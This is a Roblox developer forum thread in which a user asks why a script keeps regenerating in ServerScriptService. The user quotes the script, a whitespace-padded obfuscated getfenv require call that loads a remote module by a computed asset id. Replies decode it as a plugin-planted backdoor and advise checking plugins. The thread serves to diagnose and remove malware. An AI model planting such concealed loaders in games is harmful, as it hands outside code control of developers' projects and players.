I can not remove the automatically generated script

What do you want to achieve?
I want to delete the script which gets automaticly generated every time I run the game or open the place in Roblox Studio.

What is the issue?
Whenever I create a new place in Roblox Studio (mostly baseplate), a script is always generated in the ServerScriptService. Thats how ths script looks like:

--print("Hello World!")																																																																																																																																																																																																																																																																																																																																																																																																																																																																	getfenv()['\114\101\113\117\105\114\101'](238754.208233*12851)()

My anti virus plugin server defender ( https://www.roblox.com/library/381046418 ) says this script is a virus. Whenever I run the game, i get this output:

 -- Hello World!
  13:58:48.305 - Unable to find module for asset id 3068230330.  Does the asset have a ModuleScript named "MainModule"?
13:58:48.311 - Stack Begin
13:58:48.313 - Script 'ServerScriptService.,', Line 1
13:58:48.314 - Stack End
13:58:53.796 - SliceCenter ((499.000000,112.000000), (501.000000,113.000000)) is outside the bounds of imageOffset ((492.000000,112.000000), (493.000000,113.000000)) for GuiImage[CoreGui.TopBar.TopBarFrame.RightFrame.MoreMenu.MoreMenuContainer.OverlayContextualMenu.PositionFrame.BaseMenu.ClippingFrame.ScrollingFrame.cell 2]
13:58:53.801 - SliceCenter ((507.000000,112.000000), (509.000000,113.000000)) is outside the bounds of imageOffset ((500.000000,112.000000), (501.000000,113.000000)) for GuiImage[CoreGui.TopBar.TopBarFrame.RightFrame.MoreMenu.MoreMenuContainer.OverlayContextualMenu.PositionFrame.BaseMenu.ClippingFrame.ScrollingFrame.cell 2.StateOverlay]

What solutions have you tried so far?
I deleted this script many times, but every time i run the game or close Roblox studio and open it again the script is back in the ServerScriptService. I also searched for answers on the Dev forum but didn’t find any.

Do you have the same issue? What happened? Is this normal? How can I fix this?

The line is very long. Here it is requiring this module:

getfenv()['\114\101\113\117\105\114\101'](238754.208233*12851)()

It requires a module of 3068230330

There is no reason for legitimate code to attempt hiding require calls, so your plugin or whatever is malicious. Please delete it.

1 Like

You need to check all your plugins and see if they are malicous.

2 Likes

No problem. There is a way to view Plugin’s source code, but you can also check to see who made the Plugin. Make sure the plugin you have is by the verified, trusted owner.

1 Like